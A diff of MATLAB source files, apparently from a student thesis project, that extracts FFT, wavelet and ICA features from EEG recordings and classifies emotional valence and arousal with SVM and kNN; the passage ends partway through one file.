Version 1.0
@@ -0,0 +1,11 @@
|
||||
function [jmlBenar,rata_rata,tp,tn,fp,fn] = doAccuracy(method,class,method_classification)
|
||||
project_path = strcat(pwd,'\..\..');
|
||||
% method='ica_swt';%'ica_fft','swt','ica_swt';
|
||||
% class='valence';%'valence';
|
||||
% method_classification='svm';%'svm';
|
||||
|
||||
datasets = saveDatasets(project_path,method,class);
|
||||
label = separateClass(project_path,method,class);
|
||||
[datasets,label] = getTwoClass(datasets,label);
|
||||
[jmlBenar,rata_rata,tp,tn,fp,fn] = findAccuracy(datasets,label,method_classification);
|
||||
end
|
||||
@@ -0,0 +1,46 @@
|
||||
function [jmlBenar,rata_rata,tp,tn,fp,fn] = findAccuracy(datasets,label,method)
|
||||
jmlData = length(label);
|
||||
%jmlTest = 20;
|
||||
|
||||
tp = 0;
|
||||
fn = 0;
|
||||
fp = 0;
|
||||
tn = 0;
|
||||
|
||||
indices = crossvalind('Kfold',jmlData,10);
|
||||
for h = 1:10
|
||||
test = (indices == h); train = ~test;
|
||||
jmlTest = sum(test);
|
||||
TrainingSet=datasets(train,:);
|
||||
TestSet=datasets(test,:);
|
||||
GroupTrain=label(train);
|
||||
dataAsli = label(test);
|
||||
|
||||
if strcmp(method,'svm')
|
||||
svmStruct = svmtrain(TrainingSet,GroupTrain,'kernel_function','rbf');
|
||||
results = svmclassify(svmStruct,TestSet);
|
||||
elseif strcmp(method,'knn')
|
||||
results = kNN(TrainingSet, GroupTrain, TestSet, 3);
|
||||
end
|
||||
|
||||
jmlBenar(h) = 0;
|
||||
for i = 1:jmlTest
|
||||
if(dataAsli(i)==results(i))
|
||||
if dataAsli(i)==3
|
||||
tp=tp+1;
|
||||
else
|
||||
tn=tn+1;
|
||||
end
|
||||
jmlBenar(h)=jmlBenar(h)+1;
|
||||
else
|
||||
if results(i)==3
|
||||
fp=fp+1;
|
||||
else
|
||||
fn=fn+1;
|
||||
end
|
||||
end
|
||||
end
|
||||
jmlBenar(h) = jmlBenar(h)/jmlTest;
|
||||
end
|
||||
rata_rata = mean2(jmlBenar);
|
||||
end
|
||||
@@ -0,0 +1,3 @@
|
||||
function Datasets = getDatasets(project_path,method,class)
|
||||
Datasets = csvread(strcat(project_path,'\Metadata\datasets_',method,'_',class,'.csv'));
|
||||
end
|
||||
@@ -0,0 +1,3 @@
|
||||
function Datasets = getDatasetsPrediction(project_path,method,class)
|
||||
Datasets = csvread(strcat(project_path,'\Metadata\datasets_',method,'_',class,'.csv'));
|
||||
end
|
||||
@@ -0,0 +1,34 @@
|
||||
function [valence,arousal] = getPrediction(file_path,preprocessing_method,classification_method)
|
||||
%%%%%%%%%%%%%%
|
||||
%file_path = 'D:\5112100136 - Muhammad Nadzeri Munawar\TUGAS AKHIR\Datasets\EEG\S04\S04-T13-10.11.15.11.40.03.csv';
|
||||
project_path = strcat(pwd,'\..\..');
|
||||
%preprocessing_method='fft';%'ica_fft','swt','ica_swt';
|
||||
%classification_method='knn';
|
||||
channel_v = [10,3,14,5,1,8,6,4,7,11];
|
||||
fb_v = [3,4,5];
|
||||
features_v = [2,3];
|
||||
|
||||
channel_a = [3,13,10,2,1,12,4,7,8,11];
|
||||
fb_a = [3,4,5];
|
||||
features_a = [2,3];
|
||||
%%%%%%%%%%%%%%%
|
||||
|
||||
addpath(genpath('..\Process Data'));
|
||||
addpath(genpath('..\Preprocessing'));
|
||||
|
||||
raw_data = cutDataPredict(file_path);
|
||||
preprocessing_result_v = preProcessingPredict(raw_data,preprocessing_method,channel_v,fb_v,features_v);
|
||||
preprocessing_result_a = preProcessingPredict(raw_data,preprocessing_method,channel_a,fb_a,features_a);
|
||||
|
||||
% Find Valence
|
||||
datasets = getDatasetsPrediction(project_path,preprocessing_method,'valence');
|
||||
label = separateClassPrediction(project_path,preprocessing_method,'valence');
|
||||
[datasets,label] = getTwoClass(datasets,label);
|
||||
valence = predictClassification(preprocessing_result_v,datasets,label,classification_method);
|
||||
|
||||
% Find Arousal
|
||||
datasets = getDatasetsPrediction(project_path,preprocessing_method,'arousal');
|
||||
label = separateClassPrediction(project_path,preprocessing_method,'arousal');
|
||||
[datasets,label] = getTwoClass(datasets,label);
|
||||
arousal = predictClassification(preprocessing_result_a,datasets,label,classification_method);
|
||||
end
|
||||
@@ -0,0 +1,5 @@
|
||||
function [datasets,label] = getTwoClass(datasets,label)
|
||||
idx = (label(:)~=2);
|
||||
label = label(idx);
|
||||
datasets = datasets(idx,:);
|
||||
end
|
||||
@@ -0,0 +1,30 @@
|
||||
|
||||
function [results] = kNN(TrainingSet,GroupTrain,TestSet,k)
|
||||
[L,L1] = size(TestSet);
|
||||
results = zeros(L);
|
||||
for i = 1:L
|
||||
[L2,L3] = size(TrainingSet);
|
||||
data_distance = zeros(L2);
|
||||
for j = 1:L2
|
||||
p = TrainingSet(j,:);
|
||||
q = TestSet(i,:);
|
||||
|
||||
data_distance (j) = sum(abs(p-q)./(abs(p) + abs(q)));
|
||||
end
|
||||
|
||||
[B,I] = sort(data_distance);
|
||||
|
||||
nearest = GroupTrain(I(1:k));
|
||||
nearest_distance = B(1:k);
|
||||
sse = nearest_distance(1)/nearest_distance(2);
|
||||
% disp(sse);
|
||||
% disp(nearest);
|
||||
if sse<=0.97
|
||||
results(i)=nearest(1);
|
||||
else
|
||||
results(i)=mode(nearest);
|
||||
end
|
||||
%results(i)=mode(nearest);
|
||||
end
|
||||
end
|
||||
|
||||
@@ -0,0 +1,12 @@
|
||||
function kelas = predictClassification(feature,datasets,label,method)
|
||||
TrainingSet=datasets;
|
||||
TestSet=feature;
|
||||
GroupTrain=label;
|
||||
|
||||
if strcmp(method,'svm')
|
||||
svmStruct = svmtrain(TrainingSet,GroupTrain);
|
||||
kelas = svmclassify(svmStruct,TestSet);
|
||||
elseif strcmp(method,'knn')
|
||||
kelas = kNN(TrainingSet, GroupTrain, TestSet, 3);
|
||||
end
|
||||
end
|
||||
@@ -0,0 +1,33 @@
|
||||
function Datasets = saveDatasets(project_path,method,class)
|
||||
if strcmp(method,'fft')
|
||||
basePath = strcat(project_path,'\FFT_EEG_',upper(class),'\');
|
||||
elseif strcmp(method,'swt')
|
||||
basePath = strcat(project_path,'\SWT_EEG_',upper(class),'\');
|
||||
elseif strcmp(method,'ica_fft')
|
||||
basePath = strcat(project_path,'\ICA_FFT_EEG_',upper(class),'\');
|
||||
elseif strcmp(method,'ica_swt')
|
||||
basePath = strcat(project_path,'\ICA_SWT_EEG_',upper(class),'\');
|
||||
end
|
||||
|
||||
all_files = dir(basePath);
|
||||
all_files = all_files(3:end);
|
||||
all_dir = all_files([all_files(:).isdir]);
|
||||
subject = numel(all_dir);
|
||||
|
||||
counterDatasets = 1;
|
||||
|
||||
for h=1:subject
|
||||
directory = sprintf('S%02d',h);
|
||||
allList = dir( strcat(basePath,directory ));
|
||||
allFiles = { allList(3:end).name };
|
||||
trial = length(allFiles);
|
||||
|
||||
for i = 1:trial
|
||||
rawData = csvread(strcat(basePath,directory,'\T',num2str(i),'.csv'));
|
||||
Datasets(counterDatasets,:) = rawData;
|
||||
counterDatasets=counterDatasets+1;
|
||||
end
|
||||
end
|
||||
|
||||
csvwrite(strcat(project_path,'\Metadata\datasets_',method,'_',class,'.csv'),Datasets);
|
||||
end
|
||||
@@ -0,0 +1,14 @@
|
||||
function label = separateClass(project_path,method,class)
|
||||
kelas = csvread(strcat(project_path,'\Metadata\kelas_',method,'_',class,'.csv'));
|
||||
|
||||
for i = 1:length(kelas)
|
||||
if(kelas(i)<=4)
|
||||
label(i) = 1;
|
||||
elseif (kelas(i)>=6)
|
||||
label(i) = 3;
|
||||
else
|
||||
label(i) = 2;
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
@@ -0,0 +1,14 @@
|
||||
function label = separateClassPrediction(project_path,method,class)
|
||||
kelas = csvread(strcat(project_path,'\Metadata\kelas_',method,'_',class,'.csv'));
|
||||
|
||||
for i = 1:length(kelas)
|
||||
if(kelas(i)<=4)
|
||||
label(i) = 1;
|
||||
elseif (kelas(i)>=6)
|
||||
label(i) = 3;
|
||||
else
|
||||
label(i) = 2;
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
@@ -0,0 +1,6 @@
|
||||
function createFolder(total_folder,path)
|
||||
mkdir(path);
|
||||
for i = 1:total_folder
|
||||
mkdir(strcat(path,'\',sprintf('S%02d',i)));
|
||||
end
|
||||
end
|
||||
@@ -0,0 +1,210 @@
|
||||
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
|
||||
%Author : Muhammad Nadzeri Munawar
|
||||
%
|
||||
%
|
||||
%This code is to create absolute_power variable of subject no. 20 such as :
|
||||
%delta, theta, alpha, beta, gamma with shape 32x5x40. 32 mean total of
|
||||
%channel, 5 mean total absolute power, 40 mean 40 trial
|
||||
%
|
||||
% project_path -> 'D:\TUGAS AKHIR\Progress\24. (08-12-2015)'
|
||||
% method -> fft;ica_fft
|
||||
% subject -> [2,4,6,7,8,9,10,13,15,16,21,25,26,28,29,30];
|
||||
% channel -> [2,3,4,5,6,7,8,14];
|
||||
% fb -> 1.Delta;2.Theta;3.Alpha;4.Beta;5.Gamma
|
||||
% features -> 1. Min;2.Max;3.Std;4.Avg;5.Pow;6.Energy
|
||||
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
|
||||
|
||||
function computeFFT(project_path,method,class,subject,channel,fb,features)
|
||||
addpath(genpath('..\Global Code'));
|
||||
|
||||
%define variable
|
||||
if strcmp(method,'fft')
|
||||
basePath = strcat(project_path,'\USED_EEG\');
|
||||
destination = strcat(project_path,'\FFT_EEG_',upper(class));
|
||||
elseif strcmp(method,'ica_fft')
|
||||
basePath = strcat(project_path,'\ICA_EEG\');
|
||||
destination = strcat(project_path,'\ICA_FFT_EEG_',upper(class));
|
||||
end
|
||||
kuesioner = csvread(strcat(project_path,'\Metadata\newDataKuesioner.csv'));
|
||||
kuesioner = transpose(kuesioner);
|
||||
samplingFrequency=128;
|
||||
counter =1;
|
||||
start = 1;
|
||||
stop = 0;
|
||||
kelas = [];
|
||||
|
||||
if strcmp(class,'valence')
|
||||
kuesioner = kuesioner(1,:);
|
||||
elseif strcmp(class,'arousal')
|
||||
kuesioner = kuesioner(2,:);
|
||||
end
|
||||
|
||||
if exist(destination, 'dir')
|
||||
system(strcat('rmdir /S /Q "',destination,'"'));
|
||||
end
|
||||
|
||||
createFolder(length(subject),destination);
|
||||
|
||||
all_files = dir(basePath);
|
||||
all_files = all_files(3:end);
|
||||
all_dir = all_files([all_files(:).isdir]);
|
||||
total_subject = numel(all_dir);
|
||||
|
||||
for h=1:total_subject
|
||||
directory = sprintf('S%02d',h);
|
||||
direc = sprintf('S%02d',counter);
|
||||
allList = dir( strcat(basePath,directory ));
|
||||
allFiles = { allList(3:end).name };
|
||||
trial = length(allFiles);
|
||||
|
||||
if h>1
|
||||
start = stop + 1;
|
||||
end
|
||||
stop = start + trial - 1;
|
||||
|
||||
if ismember(h,subject)==0
|
||||
continue;
|
||||
end
|
||||
|
||||
kelas = horzcat(kelas,kuesioner(start:stop));
|
||||
|
||||
for i = 1:trial
|
||||
rawData = csvread(strcat(basePath,directory,'\T',num2str(i),'.csv'));
|
||||
data = [];
|
||||
for j = channel
|
||||
X = rawData(j,:);
|
||||
|
||||
Fs = samplingFrequency; % Sampling frequency
|
||||
L = length(X); % Length of signal
|
||||
|
||||
%compute fft from channel
|
||||
Y = fft(X);
|
||||
|
||||
%Divide fft to get frequency
|
||||
P2 = abs(Y/L);
|
||||
P1 = P2(1:L/2+1);
|
||||
P1(2:end-1) = 2*P1(2:end-1);
|
||||
|
||||
%divide froquency to get delta, theta, alpha, beta, gamma
|
||||
%And average all of each range (delta, theta, alpha, beta, gamma)
|
||||
delta = P1(L*1/Fs:L*4/Fs);
|
||||
theta = P1(L*4/Fs:L*8/Fs);
|
||||
alpha = P1(L*8/Fs:L*13/Fs);
|
||||
beta = P1(L*13/Fs:L*30/Fs);
|
||||
gamma = P1(L*30/Fs:L*50/Fs);
|
||||
|
||||
data_feature = [];
|
||||
|
||||
if ismember(1,fb)
|
||||
if ismember(1,features)
|
||||
data_feature = [data_feature,min(delta)];
|
||||
end
|
||||
if ismember(2,features)
|
||||
data_feature = [data_feature,max(delta)];
|
||||
end
|
||||
if ismember(3,features)
|
||||
data_feature = [data_feature,std(delta)];
|
||||
end
|
||||
if ismember(4,features)
|
||||
data_feature = [data_feature,mean(delta)];
|
||||
end
|
||||
if ismember(5,features)
|
||||
data_feature = [data_feature,mean(delta.^2)];
|
||||
end
|
||||
if ismember(6,features)
|
||||
data_feature = [data_feature,sum(delta.^2)];
|
||||
end
|
||||
end
|
||||
if ismember(2,fb)
|
||||
if ismember(1,features)
|
||||
data_feature = [data_feature,min(theta)];
|
||||
end
|
||||
if ismember(2,features)
|
||||
data_feature = [data_feature,max(theta)];
|
||||
end
|
||||
if ismember(3,features)
|
||||
data_feature = [data_feature,std(theta)];
|
||||
end
|
||||
if ismember(4,features)
|
||||
data_feature = [data_feature,mean(theta)];
|
||||
end
|
||||
if ismember(5,features)
|
||||
data_feature = [data_feature,mean(theta.^2)];
|
||||
end
|
||||
if ismember(6,features)
|
||||
data_feature = [data_feature,sum(theta.^2)];
|
||||
end
|
||||
end
|
||||
if ismember(3,fb)
|
||||
if ismember(1,features)
|
||||
data_feature = [data_feature,min(alpha)];
|
||||
end
|
||||
if ismember(2,features)
|
||||
data_feature = [data_feature,max(alpha)];
|
||||
end
|
||||
if ismember(3,features)
|
||||
data_feature = [data_feature,std(alpha)];
|
||||
end
|
||||
if ismember(4,features)
|
||||
data_feature = [data_feature,mean(alpha)];
|
||||
end
|
||||
if ismember(5,features)
|
||||
data_feature = [data_feature,mean(alpha.^2)];
|
||||
end
|
||||
if ismember(6,features)
|
||||
data_feature = [data_feature,sum(alpha.^2)];
|
||||
end
|
||||
end
|
||||
if ismember(4,fb)
|
||||
if ismember(1,features)
|
||||
data_feature = [data_feature,min(beta)];
|
||||
end
|
||||
if ismember(2,features)
|
||||
data_feature = [data_feature,max(beta)];
|
||||
end
|
||||
if ismember(3,features)
|
||||
data_feature = [data_feature,std(beta)];
|
||||
end
|
||||
if ismember(4,features)
|
||||
data_feature = [data_feature,mean(beta)];
|
||||
end
|
||||
if ismember(5,features)
|
||||
data_feature = [data_feature,mean(beta.^2)];
|
||||
end
|
||||
if ismember(6,features)
|
||||
data_feature = [data_feature,sum(beta.^2)];
|
||||
end
|
||||
end
|
||||
if ismember(5,fb)
|
||||
if ismember(1,features)
|
||||
data_feature = [data_feature,min(gamma)];
|
||||
end
|
||||
if ismember(2,features)
|
||||
data_feature = [data_feature,max(gamma)];
|
||||
end
|
||||
if ismember(3,features)
|
||||
data_feature = [data_feature,std(gamma)];
|
||||
end
|
||||
if ismember(4,features)
|
||||
data_feature = [data_feature,mean(gamma)];
|
||||
end
|
||||
if ismember(5,features)
|
||||
data_feature = [data_feature,mean(gamma.^2)];
|
||||
end
|
||||
if ismember(6,features)
|
||||
data_feature = [data_feature,sum(gamma.^2)];
|
||||
end
|
||||
end
|
||||
data = horzcat(data,data_feature);
|
||||
end
|
||||
csvwrite(strcat(destination,'\',direc,'\T',num2str(i),'.csv'),data);
|
||||
end
|
||||
counter=counter+1;
|
||||
end
|
||||
if strcmp(method,'fft')
|
||||
csvwrite(strcat(project_path,'\Metadata\kelas_fft_',class,'.csv'),kelas);
|
||||
elseif strcmp(method,'ica_fft')
|
||||
csvwrite(strcat(project_path,'\Metadata\kelas_ica_fft_',class,'.csv'),kelas);
|
||||
end
|
||||
|
||||
end
|
||||
@@ -0,0 +1,174 @@
|
||||
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
|
||||
%Author : Muhammad Nadzeri Munawar
|
||||
%
|
||||
%
|
||||
%This code is to create absolute_power variable of subject no. 20 such as :
|
||||
%delta, theta, alpha, beta, gamma with shape 32x5x40. 32 mean total of
|
||||
%channel, 5 mean total absolute power, 40 mean 40 trial
|
||||
%
|
||||
% project_path -> 'D:\TUGAS AKHIR\Progress\24. (08-12-2015)'
|
||||
% method -> fft;ica_fft
|
||||
% subject -> [2,4,6,7,8,9,10,13,15,16,21,25,26,28,29,30];
|
||||
% channel -> [2,3,4,5,6,7,8,14];
|
||||
% fb -> 1.Delta;2.Theta;3.Alpha;4.Beta;5.Gamma
|
||||
% features -> 1. Min;2.Max;3.Std;4.Avg;5.Pow;6.Energy
|
||||
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
|
||||
|
||||
function data = computeFFTPredict(raw_data,preprocessing_method,channel,fb,features)
|
||||
%define variable
|
||||
if strcmp(preprocessing_method,'ica_fft')
|
||||
raw_data = computeICAPredict(raw_data);
|
||||
end
|
||||
samplingFrequency=128;
|
||||
|
||||
data = [];
|
||||
counter=1;
|
||||
for j = channel
|
||||
X = raw_data(j,:);
|
||||
|
||||
Fs = samplingFrequency; % Sampling frequency
|
||||
L = length(X); % Length of signal
|
||||
|
||||
%compute fft from channel
|
||||
Y = fft(X);
|
||||
|
||||
%Divide fft to get frequency
|
||||
P2 = abs(Y/L);
|
||||
P1 = P2(1:L/2+1);
|
||||
P1(2:end-1) = 2*P1(2:end-1);
|
||||
|
||||
%divide froquency to get delta, theta, alpha, beta, gamma
|
||||
%And average all of each range (delta, theta, alpha, beta, gamma)
|
||||
delta = P1(L*1/Fs:L*4/Fs);
|
||||
theta = P1(L*4/Fs:L*8/Fs);
|
||||
alpha = P1(L*8/Fs:L*13/Fs);
|
||||
beta = P1(L*13/Fs:L*30/Fs);
|
||||
gamma = P1(L*30/Fs:L*50/Fs);
|
||||
|
||||
if counter==1
|
||||
set(gcf,'Visible','off');
|
||||
plot(delta);
|
||||
print -dpng '../../Web App/img/fft/delta.png';
|
||||
|
||||
set(gcf,'Visible','off');
|
||||
plot(theta);
|
||||
print -dpng '../../Web App/img/fft/theta.png';
|
||||
|
||||
set(gcf,'Visible','off');
|
||||
plot(alpha);
|
||||
print -dpng '../../Web App/img/fft/alpha.png';
|
||||
|
||||
set(gcf,'Visible','off');
|
||||
plot(beta);
|
||||
print -dpng '../../Web App/img/fft/beta.png';
|
||||
|
||||
set(gcf,'Visible','off');
|
||||
plot(gamma);
|
||||
print -dpng '../../Web App/img/fft/gamma.png';
|
||||
end
|
||||
|
||||
counter = 2;
|
||||
data_feature = [];
|
||||
if ismember(1,fb)
|
||||
if ismember(1,features)
|
||||
data_feature = [data_feature,min(delta)];
|
||||
end
|
||||
if ismember(2,features)
|
||||
data_feature = [data_feature,max(delta)];
|
||||
end
|
||||
if ismember(3,features)
|
||||
data_feature = [data_feature,std(delta)];
|
||||
end
|
||||
if ismember(4,features)
|
||||
data_feature = [data_feature,mean(delta)];
|
||||
end
|
||||
if ismember(5,features)
|
||||
data_feature = [data_feature,mean(delta.^2)];
|
||||
end
|
||||
if ismember(6,features)
|
||||
data_feature = [data_feature,sum(delta.^2)];
|
||||
end
|
||||
end
|
||||
if ismember(2,fb)
|
||||
if ismember(1,features)
|
||||
data_feature = [data_feature,min(theta)];
|
||||
end
|
||||
if ismember(2,features)
|
||||
data_feature = [data_feature,max(theta)];
|
||||
end
|
||||
if ismember(3,features)
|
||||
data_feature = [data_feature,std(theta)];
|
||||
end
|
||||
if ismember(4,features)
|
||||
data_feature = [data_feature,mean(theta)];
|
||||
end
|
||||
if ismember(5,features)
|
||||
data_feature = [data_feature,mean(theta.^2)];
|
||||
end
|
||||
if ismember(6,features)
|
||||
data_feature = [data_feature,sum(theta.^2)];
|
||||
end
|
||||
end
|
||||
if ismember(3,fb)
|
||||
if ismember(1,features)
|
||||
data_feature = [data_feature,min(alpha)];
|
||||
end
|
||||
if ismember(2,features)
|
||||
data_feature = [data_feature,max(alpha)];
|
||||
end
|
||||
if ismember(3,features)
|
||||
data_feature = [data_feature,std(alpha)];
|
||||
end
|
||||
if ismember(4,features)
|
||||
data_feature = [data_feature,mean(alpha)];
|
||||
end
|
||||
if ismember(5,features)
|
||||
data_feature = [data_feature,mean(alpha.^2)];
|
||||
end
|
||||
if ismember(6,features)
|
||||
data_feature = [data_feature,sum(alpha.^2)];
|
||||
end
|
||||
end
|
||||
if ismember(4,fb)
|
||||
if ismember(1,features)
|
||||
data_feature = [data_feature,min(beta)];
|
||||
end
|
||||
if ismember(2,features)
|
||||
data_feature = [data_feature,max(beta)];
|
||||
end
|
||||
if ismember(3,features)
|
||||
data_feature = [data_feature,std(beta)];
|
||||
end
|
||||
if ismember(4,features)
|
||||
data_feature = [data_feature,mean(beta)];
|
||||
end
|
||||
if ismember(5,features)
|
||||
data_feature = [data_feature,mean(beta.^2)];
|
||||
end
|
||||
if ismember(6,features)
|
||||
data_feature = [data_feature,sum(beta.^2)];
|
||||
end
|
||||
end
|
||||
if ismember(5,fb)
|
||||
if ismember(1,features)
|
||||
data_feature = [data_feature,min(gamma)];
|
||||
end
|
||||
if ismember(2,features)
|
||||
data_feature = [data_feature,max(gamma)];
|
||||
end
|
||||
if ismember(3,features)
|
||||
data_feature = [data_feature,std(gamma)];
|
||||
end
|
||||
if ismember(4,features)
|
||||
data_feature = [data_feature,mean(gamma)];
|
||||
end
|
||||
if ismember(5,features)
|
||||
data_feature = [data_feature,mean(gamma.^2)];
|
||||
end
|
||||
if ismember(6,features)
|
||||
data_feature = [data_feature,sum(gamma.^2)];
|
||||
end
|
||||
end
|
||||
data = horzcat(data,data_feature);
|
||||
end
|
||||
end
|
||||
@@ -0,0 +1,39 @@
|
||||
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
|
||||
%Author : Muhammad Nadzeri Munawar
|
||||
%
|
||||
%
|
||||
%This code is to create absolute_power variable of subject no. 20 such as :
|
||||
%delta, theta, alpha, beta, gamma with shape 32x5x40. 32 mean total of
|
||||
%channel, 5 mean total absolute power, 40 mean 40 trial
|
||||
%
|
||||
% project_path -> 'D:\TUGAS AKHIR\Progress\24. (08-12-2015)'
|
||||
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
|
||||
|
||||
function computeICA(project_path)
|
||||
addpath(genpath('pca_ica'));
|
||||
addpath(genpath('..\Global Code'));
|
||||
basePath = strcat(project_path,'\USED_EEG\');
|
||||
all_files = dir(basePath);
|
||||
all_files = all_files(3:end);
|
||||
all_dir = all_files([all_files(:).isdir]);
|
||||
subject = numel(all_dir);
|
||||
|
||||
if exist(strcat(project_path,'\ICA_EEG'), 'dir')
|
||||
system(strcat('rmdir /S /Q "',project_path,'\ICA_EEG"'));
|
||||
end
|
||||
|
||||
createFolder(subject,strcat(project_path,'\ICA_EEG'));
|
||||
|
||||
for h=1:subject
|
||||
directory = sprintf('S%02d',h);
|
||||
allList = dir( strcat(basePath,directory ));
|
||||
allFiles = { allList(3:end).name };
|
||||
trial = length(allFiles);
|
||||
|
||||
for i = 1:trial
|
||||
rawData = csvread(strcat(basePath,directory,'\T',num2str(i),'.csv'));
|
||||
rawData = myICA(rawData,14);
|
||||
csvwrite(strcat(project_path,'\ICA_EEG\',directory,'\T',num2str(i),'.csv'),rawData);
|
||||
end
|
||||
end
|
||||
end
|
||||
@@ -0,0 +1,24 @@
|
||||
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
|
||||
%Author : Muhammad Nadzeri Munawar
|
||||
%
|
||||
%
|
||||
%This code is to create absolute_power variable of subject no. 20 such as :
|
||||
%delta, theta, alpha, beta, gamma with shape 32x5x40. 32 mean total of
|
||||
%channel, 5 mean total absolute power, 40 mean 40 trial
|
||||
%
|
||||
% project_path -> 'D:\TUGAS AKHIR\Progress\24. (08-12-2015)'
|
||||
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
|
||||
|
||||
function ica_data = computeICAPredict(raw_data)
|
||||
addpath(genpath('pca_ica'));
|
||||
|
||||
ica_data = myICA(raw_data,14);
|
||||
|
||||
for i=1:14
|
||||
path = strcat('../../Web App/img/ica/',num2str(i),'.png');
|
||||
|
||||
set(gcf,'Visible','off');
|
||||
plot(ica_data(i,:));
|
||||
print(path,'-dpng');
|
||||
end
|
||||
end
|
||||
@@ -0,0 +1,195 @@
|
||||
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
|
||||
%Author : Muhammad Nadzeri Munawar
|
||||
%
|
||||
%
|
||||
%This code is to create absolute_power variable of subject no. 20 such as :
|
||||
%delta, theta, alpha, beta, gamma with shape 32x5x40. 32 mean total of
|
||||
%channel, 5 mean total absolute power, 40 mean 40 trial
|
||||
%
|
||||
% project_path -> 'D:\TUGAS AKHIR\Progress\24. (08-12-2015)'
|
||||
% method -> swt;ica_swt
|
||||
% subject -> [2,4,6,7,8,9,10,13,15,16,21,25,26,28,29,30];
|
||||
% channel -> [2,3,4,5,6,7,8,14];
|
||||
% fb -> 1.A5;2.D5;3.D4;4.D3;5.D2
|
||||
% features -> 1. Min;2.Max;3.Std;4.Avg;5.Pow;6.Energy
|
||||
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
|
||||
|
||||
function computeSWT(project_path,method,class,subject,channel,fb,features)
|
||||
addpath(genpath('..\Global Code'));
|
||||
|
||||
%define variable
|
||||
if strcmp(method,'swt')
|
||||
basePath = strcat(project_path,'\USED_EEG\');
|
||||
destination = strcat(project_path,'\SWT_EEG_',upper(class));
|
||||
elseif strcmp(method,'ica_swt')
|
||||
basePath = strcat(project_path,'\ICA_EEG\');
|
||||
destination = strcat(project_path,'\ICA_SWT_EEG_',upper(class));
|
||||
end
|
||||
kuesioner = csvread(strcat(project_path,'\Metadata\newDataKuesioner.csv'));
|
||||
kuesioner = transpose(kuesioner);
|
||||
samplingFrequency=128;
|
||||
counter =1;
|
||||
start = 1;
|
||||
stop = 0;
|
||||
kelas = [];
|
||||
|
||||
if strcmp(class,'valence')
|
||||
kuesioner = kuesioner(1,:);
|
||||
elseif strcmp(class,'arousal')
|
||||
kuesioner = kuesioner(2,:);
|
||||
end
|
||||
|
||||
if exist(destination, 'dir')
|
||||
system(strcat('rmdir /S /Q "',destination,'"'));
|
||||
end
|
||||
|
||||
createFolder(length(subject),destination);
|
||||
|
||||
all_files = dir(basePath);
|
||||
all_files = all_files(3:end);
|
||||
all_dir = all_files([all_files(:).isdir]);
|
||||
totalSubject = numel(all_dir);
|
||||
|
||||
for h=1:totalSubject
|
||||
directory = sprintf('S%02d',h);
|
||||
direc = sprintf('S%02d',counter);
|
||||
allList = dir( strcat(basePath,directory ));
|
||||
allFiles = { allList(3:end).name };
|
||||
trial = length(allFiles);
|
||||
|
||||
if h>1
|
||||
start = stop + 1;
|
||||
end
|
||||
stop = start + trial - 1;
|
||||
|
||||
if ismember(h,subject)==0
|
||||
continue;
|
||||
end
|
||||
|
||||
kelas = horzcat(kelas,kuesioner(start:stop));
|
||||
|
||||
for i = 1:trial
|
||||
rawData = csvread(strcat(basePath,directory,'\T',num2str(i),'.csv'));
|
||||
data = [];
|
||||
for j = channel
|
||||
[swa,swd] = swt(rawData(j,:),5,'db4');
|
||||
d2=swd(2,:);
|
||||
d3=swd(3,:);
|
||||
d4=swd(4,:);
|
||||
d5=swd(5,:);
|
||||
a5=swa(5,:);
|
||||
|
||||
data_feature = [];
|
||||
|
||||
if ismember(1,fb)
|
||||
if ismember(1,features)
|
||||
data_feature = [data_feature,min(a5)];
|
||||
end
|
||||
if ismember(2,features)
|
||||
data_feature = [data_feature,max(a5)];
|
||||
end
|
||||
if ismember(3,features)
|
||||
data_feature = [data_feature,std(a5)];
|
||||
end
|
||||
if ismember(4,features)
|
||||
data_feature = [data_feature,mean(a5)];
|
||||
end
|
||||
if ismember(5,features)
|
||||
data_feature = [data_feature,mean(a5.^2)];
|
||||
end
|
||||
if ismember(6,features)
|
||||
data_feature = [data_feature,sum(a5.^2)];
|
||||
end
|
||||
end
|
||||
if ismember(2,fb)
|
||||
if ismember(1,features)
|
||||
data_feature = [data_feature,min(d5)];
|
||||
end
|
||||
if ismember(2,features)
|
||||
data_feature = [data_feature,max(d5)];
|
||||
end
|
||||
if ismember(3,features)
|
||||
data_feature = [data_feature,std(d5)];
|
||||
end
|
||||
if ismember(4,features)
|
||||
data_feature = [data_feature,mean(d5)];
|
||||
end
|
||||
if ismember(5,features)
|
||||
data_feature = [data_feature,mean(d5.^2)];
|
||||
end
|
||||
if ismember(6,features)
|
||||
data_feature = [data_feature,sum(d5.^2)];
|
||||
end
|
||||
end
|
||||
if ismember(3,fb)
|
||||
if ismember(1,features)
|
||||
data_feature = [data_feature,min(d4)];
|
||||
end
|
||||
if ismember(2,features)
|
||||
data_feature = [data_feature,max(d4)];
|
||||
end
|
||||
if ismember(3,features)
|
||||
data_feature = [data_feature,std(d4)];
|
||||
end
|
||||
if ismember(4,features)
|
||||
data_feature = [data_feature,mean(d4)];
|
||||
end
|
||||
if ismember(5,features)
|
||||
data_feature = [data_feature,mean(d4.^2)];
|
||||
end
|
||||
if ismember(6,features)
|
||||
data_feature = [data_feature,sum(d4.^2)];
|
||||
end
|
||||
end
|
||||
if ismember(4,fb)
|
||||
if ismember(1,features)
|
||||
data_feature = [data_feature,min(d3)];
|
||||
end
|
||||
if ismember(2,features)
|
||||
data_feature = [data_feature,max(d3)];
|
||||
end
|
||||
if ismember(3,features)
|
||||
data_feature = [data_feature,std(d3)];
|
||||
end
|
||||
if ismember(4,features)
|
||||
data_feature = [data_feature,mean(d3)];
|
||||
end
|
||||
if ismember(5,features)
|
||||
data_feature = [data_feature,mean(d3.^2)];
|
||||
end
|
||||
if ismember(6,features)
|
||||
data_feature = [data_feature,sum(d3.^2)];
|
||||
end
|
||||
end
|
||||
if ismember(5,fb)
|
||||
if ismember(1,features)
|
||||
data_feature = [data_feature,min(d2)];
